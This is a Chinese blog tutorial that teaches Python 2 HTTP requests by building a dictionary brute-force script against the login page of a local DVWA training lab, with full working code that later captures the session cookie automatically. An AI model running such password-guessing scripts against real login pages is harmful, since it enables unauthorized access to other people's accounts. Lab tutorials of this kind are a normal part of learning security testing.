博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Hack with python(一)
阅读量:5916 次
发布时间:2019-06-19

本文共 9818 字,大约阅读时间需要 32 分钟。

[此文原先在论坛上,后来整理文章时从论坛更新到博客上]

实验环境:
     dvwa 1.7
     python 2.7
关于怎么搭建环境,我们可以看之前的。

目的:
     一点、一点的开始学习用python编写脚本
     熟悉python的urllib、urllib2这两个模块,并且开始写出一个可以暴力破解的脚本
    这里我们先来看一下,python的基本语法


1、它是一种弱类型的编程语言,变量不用声明类型
如:
>>>url = 'http://www.51cto.com'

2、当我们想将这个变量显示出来的时候,我们需要做的就是用print这个语句,其后面跟的是变量名或者字符串
如:
>>>print url


3、好了,假如我们想模仿浏览器去请求这个网页,该怎么做呢?这个时候就需要用到我们前面提到的urllib2这个库了,它里买你包含有请求的方法urlopen,那么该如何操作呢?
#先是导入我们需要用的库
#然后我们调用这个库里面的方法urlopen,这里得加上库名.然后我们将它获取的内容赋值给result
>>>import urllib2
>>>result = urllib2.urlopen(url)

4、上面的两步,我们获得了关于url内容的一个对象,这里我们来学习一个函数type(),这个函数是返回变量的类型的.
>>>type(result)
<type 'instance'>
可以看到这个我们无法将其用print将其的内容显示出来,所以我们还得学者用一个方法。这个read()方法是result本身包含的。它将会返回我们要请求网页的内容,以字符串形式!也就是我们可以打印出来了
>>>content = result.read()
>>>print content
xxxxx


 

5、通过上面四步,我们访问了论坛首页,并且将其内容GET下来,那么下面我们开始我们暴力破解脚本学习。

但在开始写暴力破解脚本前,我们得懂得什么是POST请求方法。它和GET有什么不同

GET和POST两种方法都可以提交用户方面的数据,
(1)GET请求的时候会把用户的信息添加在url上。‘?’后面的内容为请求的参数,它的出现以名值对的方式,即para = 123,其中'&'符号表示and,即还有其他的参数。
所以下面的例子提交的参数有两个
http://www.example.com/login.php?username=skytina&password=123456


username=skytina
password=123456


(2)POST请求的时候则不会将用户的信息直接添加在url上,而是通过在http请求头部包含进用户的信息。下面我们用例子来说明
这里建议你下载一个火狐浏览器,其他浏览器也是可以的,我们按F12键,切换到网络页面!

如下图:


然后我们在dvwa漏洞学习系统那里输入账号和用户名,点击‘Login’的时候,我们可以看到下面的内容。
然后我们点开POST请求的那个记录,这时候我们可以看到下面的内容! 
这个就是我们登录的时候的记录,我们post我们的账号和密码到login.php。
我们可以看一下请求头的内容,这部分是我们发出去的。
    [1]Referer:这部分是表示,这个请求来自那里的,可以发现这二个url(也就是网址)并没有附带有参数。
    这个时候我们,单击参数这个标签,可以发现我们在点击登录的时候,

 
    [2]Cookie:当我们请求这个login.php的时候,便开始了一个session(会话),也就是这个属于我们的身份认证!这个我们需要发回服务器端,同时可以看到有个'high',这个是dvwa漏洞系统的安全等级!要是不把Cookie回发的话,服务器会认为我们是第一次访问login.php,这样便会导致post发送的数据失效。所以在编写爆破脚本的时候,需要加上这个!(如果有疑惑,请看最下面的更新内容)

发送了三个数据到login.php。
username:admin
password:123456
Login:Login

也就是说一次正常的登录请求会发出下面的这些内容,倘若我们要进行暴力破解的话,我们需要修改的是password这个对应的数值。
这时候我们来看一下页面上有什么信息吗?
 
可以发现,当登录失败的时候会有‘Login failed’这个字眼,也就是说,我们需要在返回的网页判断是否存在这个字眼。
好,一切准备工作就绪,但在开始我们开始写我们的暴力破解脚本之前,我们还需要准备一些内容。

(3)一个关于弱口令的密码字典,因为暴力破解就是不断枚举字典里面的数据来尝试登陆!
一般采用字典生成工具来生成字典,我这里采用的是希希字典生成工具,比较喜欢它的原因是,是因为它符合国人的密码设置规律。
     但是一般我们不可能盲目的去生成字典,我需要收集关于网站管理人员或者被授权人员信息的一些情况。
    对于我们的测试系统来说。
    首先我们先想到的是常用的管理员账号‘admin’。
    而且系统是国外的,所以我们应该下一些国外的常用弱口令字典。这里我们不用这么麻烦,直接使用希希字典的生成弱口令功能。
    这里打开了希希密码之后,先看到是这样的窗口,可以看到一开始我们处于弱口令生成窗口!

            

    这里我们只需要简单的弱口令,所以我们把复杂程度调整到简单,
             
    之后我们调整生成的选项,这里调整混合深度
             
    混合深度为一,也就是只包含密码因子一次,我们这里的密码因子是弱口令。
    比如:123456、qwert,654321,是弱口令,混合深度为1
    则弱口令各自独立存在,也就是三个弱口令。
    但混合深度为2的时候,123456qewrt这种类型!
    这里我们生成的密码字典文件名成为‘weak_password.txt’

 


6、经过第五步,我们知道我们接下来编写脚本的要求
post 方式 发送数据请求 "http://localhost/dvwa/login.php"
post的数据有三个
username=xxx
password=xxx
Login=Login


(1)打开你的字典文件,python内置了一个open函数。原型如下图,使用它打开一个已有的文件,会返回一个文件对象!
open(...)
open(name[, mode[, buffering]]) -> file object
第一个参数为文件名,第二参数为打开文件的模式,第三个指定缓冲区模式。[xxx]里面的都是可选项,必须的只是文件名,其默认的打开方式为只读
>>>passdict = open('d:\\weak_password.txt','r')
>>>print passdict.readline()
shift

我们打开我们的字典文件,可以看到我们显示出来的内容正是字典文件的第一条内容!但是在这里发现有一个空行,这个怎么来的呢?这里我们使用urllib库的urlencode这个函数来看一下数据后面是否跟着什么,这里说一下urlencode。因为在url只支持可打印字符,同时里面一些特殊的字符有特定的含义,

比如:
‘+’:代表的是空格
‘&’:参数的间隔符
‘?’:这个连接字符,连接后面的参数值
这样,当我们需要使用这些字符的时候,我们需要对其进行url编码!其编码形式是一个‘%’加上两位十六进制的数值
>>>import urllib
>>>print urllib.quote(passdict.readline())
ctrl%0A

上面的quote函数,它的作用是字符串进行url编码!这时候我们对应字典,发现它多出了%0A的内容,它对应ascii表的换行符。在windows上换行符是有‘\r\n’组成。因此我们要处理这个换行符,否则他会破坏我们发送的数据。

这个时候我们会使用string对象中的strip()这个函数,它默认是去处左右两旁的空格。它的第二个参数提供了其他字符的选择。

>>>import string
>>>print urllib.quote(string.strip(passdict.readline(),'\r\n'))
delete
可以发现这次数据后面没有多余的内容,读取密码字典这部分,我们完成了。

(2)这些模块测试完了,我们开始要开始在文件上写了,点击File--New File.这里我们将会用到循环语句while。因为我们要不断的从字典文件里读取数据,然后再发送。当读取到文件结尾的时候,readline()会返回空字符串'',注意一下while语句后面有个':'表示之后的是语句块,也就是一坨代码!

     这里还要说一下的就是,python不同的语句块是靠缩进来进行的,一般采用四个空格或者TAB键,也就是说,下面的while语句块里面的内容是缩进的那部分!

1
2
3
4
5
6
7
8
9
10
11
import 
urllib
import 
urllib2
import 
string
 
passdict 
= 
open
(
'd:\weak_password.txt'
,
'r'
)
password 
= 
passdict.readline()
while 
password !
= 
'':
     
password 
= 
string.strip(password,
'\r\n'
)
     
print 
password
     
password 
= 
passdict.readline()
print 
'Done'


     这里我们是输出字典文件里面的值,这个模块好了。我们再来看一下两个内容
    (1) 一个是urllib2.Request请求类,我们通过这个类来生成我们的http请求对象
     其构造函数的常用的参数如下

1
req 
= 
urllib2.Request(url[,data,header])

可以看到url,使我们即将发送post数据的网址,而剩下两个data以及header都是可选的!当包含data的时候,则采用post的方式请求网页!data使我们要发送的表单数据,header这个则包含了Cookie信息,以便维持我们的访问以及告诉服务器,我们不是第一次访问该页面。

     (2)但是要是我们的data包含一些特殊字符的时候,就会有问题。比如我们的‘&’,‘#’,‘?’,‘+’,所以这个时候要用到一个函数,来将我们的data进行url编码。
     最终形态如下

1
req 
= 
urllib2.Request(url,urllib.encode(data),header)

     然后就像我们get的请求一样使用urllib2.urlopen(req)就可以了
     (3)Post的数据从那里来,这里我们将会介绍一个内容字典。
     首先我们创建一个空字典,字典的符号是'{}'大括号包含内容,之后往里面添加内容。字典是名值对的形式,我们可以通过名在字典中找到那个值。就像在学校,我们可以通过学号来找到对应学生的名字.
     因为我们要发送三个数据,所以我们一次添加。这里因为我们猜测管理员账号为admin,所以使用它来进行硬编码。

1
2
3
     
data 
= 
{}
     
data[
'username'
= 
'admin'
     
data[
'Login'
= 
'Login'

     这个时候是不是该写data['password']了,可是,这个值正是要放到循环里面的,所以修改过后。会成这样!我们把原来要打印的password值,放到字典里面了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import 
urllib
import 
urllib2
import 
string
 
data 
= 
{}
data[
'username'
= 
'admin'
data[
'Login'
= 
'Login'
passdict 
= 
open
(
'd:\weak_password.txt'
,
'r'
)
password 
= 
passdict.readline()
while 
password !
= 
'':
     
password 
= 
string.strip(password,
'\r\n'
)
     
data[
'password'
= 
password
     
password 
= 
passdict.readline()
print 
'Done'

     (4)到了这里,我们再看回前面发送请求的时候,还有含有Cookie,这个Cookie是我们保持会话的保证。也就是我们需要将其重新发回给服务器。而Cookie是包含在http请求头部的。我们还是采用字典来实现包含这个数据,这里我们介绍了字典第二种添加数据方式,就是在一开始使用'':''的形式创建一个名值对,不同的名值对用‘,’分隔开!

1
2
3
4
header 
= 
{
'Referer'
:
'http://localhost/dvwa/login.php'
,
'Cookie'
:
'security=high; PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3'
}

   现在我们再来看看我们的暴力破解脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import 
urllib
import 
urllib2
import 
string
 
url 
= 
'http://localhost/dvwa/login.php'
header 
= 
{
'Cookie'
:
'security=high;PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3'
}
data 
= 
{}
data[
'username'
= 
'admin'
data[
'Login'
= 
'Login'
passdict 
= 
open
(
'd:\\weak_password.txt'
,
'r'
)
password 
= 
passdict.readline()
while 
password !
= 
'':
    
password 
= 
string.strip(password,
'\r\n'
)
    
data[
'password'
= 
password
    
req 
= 
urllib2.Request(url,urllib.urlencode(data),header)
    
result 
= 
urllib2.urlopen(req)
    
content 
= 
result.read()
    
password 
= 
passdict.readline()
print 
'Done'

     
    到这里我们还没进行判断,怎么样才算是登录成功或者登录失败!想一想,前面我们分析请求的时候,登录失败的时候网页会有‘failed’这个字眼,也就说,在返回的网页内容中,只要找到failed的存在,则说明登录失败!
     那么这里我们使用string里面的一个函数find()

1
string.find(s,substr)

     这里s是被查找的字符串,也就会content。substr是我们判断登录失败或者错误的那部分字符串,也就是'failed'。当找不到substr的时候,函数返回-1.找到的话,返回substr在字符串的索引!
     所以最终我们的脚本是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import 
urllib
import 
urllib2
import 
string
 
url 
= 
'http://localhost/dvwa/login.php'
header 
= 
{
'Cookie'
:
'security=high; PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3'
}
data 
= 
{}
data[
'username'
= 
'admin'
data[
'Login'
= 
'Login'
passdict 
= 
open
(
'd:\\weak_password.txt'
,
'r'
)
password 
= 
passdict.readline()
while 
password !
= 
'':
    
password 
= 
string.strip(password,
'\r\n'
)
    
data[
'password'
= 
password
    
req 
= 
urllib2.Request(url,urllib.urlencode(data),header)
    
result 
= 
urllib2.urlopen(req)
    
content 
= 
result.read()
    
if 
string.find(content,
'failed'
=
= 
-
1
:
        
print 
'Username:admin Password:'
+
password
    
else
:
        
print 
'login failed'
    
password 
= 
passdict.readline()
print 
'Done'

最后,我们测试一下。看一下效果

     
     到此,我们hacking python的第一课算是完结了。下一节,我们将会介绍怎么利用sql注入来绕过登录验证!

------------2015-3-17更新
      
 谢谢流霜的指出一些不足之处。

            这里我们来说一下,
      1、为什么上面要加Cookie,要是不加Cookie的话会怎样?
      答:我们先来看一下不加Cookie返回的头部是什么。这里我们需要用到info函数,这个info函数将会返回我们请求页面的HTTP头部。我们只需要在
content = result.read()前面加上一条语句,

1
print 
str
(result.info())

      这里我为了测试,把字典减少了很多。F5运行,下面看一下运行结果
 
     可以看到有每一次请求,都会引发服务器端进行一次Session分配,也就说,服务器无法知道我们是否已经获得Session。只有我们在http头部假如Session才能让服务器知道我们已经获得Session值了,可以接收我的POST数据了进行接下操作了。
      要是不加Cookie,我们则会一直相当于GET方式访问login.php。
      2、怎样才可以不用像傻瓜一样手动加Cookie呢?
      既然知道问题出现在那里了,那我们肿么办呢?
      难道每次都手动添加??
      人家不是给我们在返回的网页中分配了一些SessionId的数值了么?我们只需要找出那些值便可以了。
      这里需要使用了string库提供的一个函数
      index(s, sub [,start [,end]]) -> int
      s是被查找的字符串,sub为想要查找的字符串,后面两个参数分别为查找的范围。
      首先分析一个返回的HTTP头部,形如:

1
2
3
4
5
6
7
8
9
10
11
        
Date: Tue, 17 Mar 2015 12:27:56 GMT
        
Server: Apache/2.2.21 (Win64) PHP/5.3.10
        
X-Powered-By: PHP/5.3.10
        
Set-Cookie: PHPSESSID=dajgqkai3q6e35d4r8fqjkjrc5; path=/
        
Expires: Tue, 23 Jun 2009 12:00:00 GMT
        
Cache-Control: no-cache, must-revalidate
        
Pragma: no-cache
        
Set-Cookie: security=high
        
Content-Length: 1224
        
Connection: close
        
Content-Type: text/html;charset=utf-8

       我们所需要是PHPSESSID的内容,首先或这个子串的索引位置start,然后我们可以看到这个Session的值以';'结尾,于是我们根据content[start:end]来获取Session的值。

1
2
3
4
        
content 
= 
str
(request.info())
        
start 
= 
string.index(content,
'PHPSESSID'
)
        
end 
= 
string.index(content,
';'
)
        
header[
'Cookie'
= 
content[start:end]

       这样我们就可以将Session的值添加到HTTP请求头部去,但是等等,我们的代码在循环中,肿么办?
       别担心,Request对象有一个方法是用来判断有没有指定的HTTP头部值,这个函数就是has_header(headername)。
       我们可以这样来判断

1
2
3
4
if 
not 
req.has_header(
'Cookie'
):
    
content 
= 
str
(result.info())
    
start 
= 
string.index(content,
'PHPSESSID'
)
    
end 
= 
string.index(content,
';'
)

这里我们只是获取了Session值,我们需要再次提交我们的请求,带上我们获得的Session值。就会变成这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import 
urllib
import 
urllib2
import 
string
 
 
url 
= 
'http://localhost/dvwa/login.php'
header 
= 
{
    
'Connection'
:
'keep-alive'
,
    
}
data 
= 
{}
data[
'username'
= 
'admin'
data[
'Login'
= 
'Login'
passdict 
= 
open
(
'd:\\weak_password.txt'
,
'r'
)
password 
= 
passdict.readline()
while 
password !
= 
'':
    
password 
= 
string.strip(password,
'\r\n'
)
    
data[
'password'
= 
password
    
req 
= 
urllib2.Request(url,urllib.urlencode(data),header)
    
result 
= 
urllib2.urlopen(req)
    
if 
not 
req.has_header(
'Cookie'
):
        
content 
= 
str
(result.info())
        
start 
= 
string.index(content,
'PHPSESSID'
)
        
end 
= 
string.index(content,
';'
)
        
header[
'Cookie'
= 
content[start:end]
        
_req 
= 
urllib2.Request(url,urllib.urlencode(data),header)
        
result 
= 
urllib2.urlopen(req)
    
content 
= 
result.read() 
    
if 
string.find(content,
'failed'
=
= 
-
1
:
        
print 
'Username:admin Password:'
+
password
        
#print content;
    
else
:
        
print 
'login failed'
    
password 
= 
passdict.readline()
print 
'Done'

好了,这次我们解决了手动添加Cookie的问题,是不是感觉自己又涨知识了。
    骚年,一点点的成长吧!

本文转自 qq414207614 51CTO博客,原文链接:http://blog.51cto.com/skytina/1698754,如需转载请自行联系原作者
你可能感兴趣的文章
一个引号导致1个小时网站打不开
查看>>
从无到有,WebService Apache Axis2初步实践
查看>>
SQL Server 2012笔记分享-58:数据库文件管理2
查看>>
将字符串"123456"转换成"1,2,3,4,5,6"
查看>>
Jquery imgPreview demos
查看>>
Windows Universal 应用 – Tip Calculator
查看>>
LeetCode之Min Stack 实现最小栈
查看>>
sql 一些题目
查看>>
[算法] 应用版本更新逻辑
查看>>
apache kafka源码分析-Producer分析---转载
查看>>
Eclipse 的快捷键以及文档注释、多行注释的快捷键
查看>>
GridView视图(BaseAdapter)
查看>>
[Everyday Mathematics]20150117
查看>>
过滤3个字节以上的utf-8字符
查看>>
kill me heal me的链接
查看>>
集团企业信息化参考一
查看>>
RedHat Linux 下安装MPlayer 编译源代码方式
查看>>
一个排序算法的解析
查看>>
使用Jquery+EasyUI 进行框架项目开发案例解说之二---用户管理源代码分享
查看>>
【HDU】1848 Fibonacci again and again
查看>>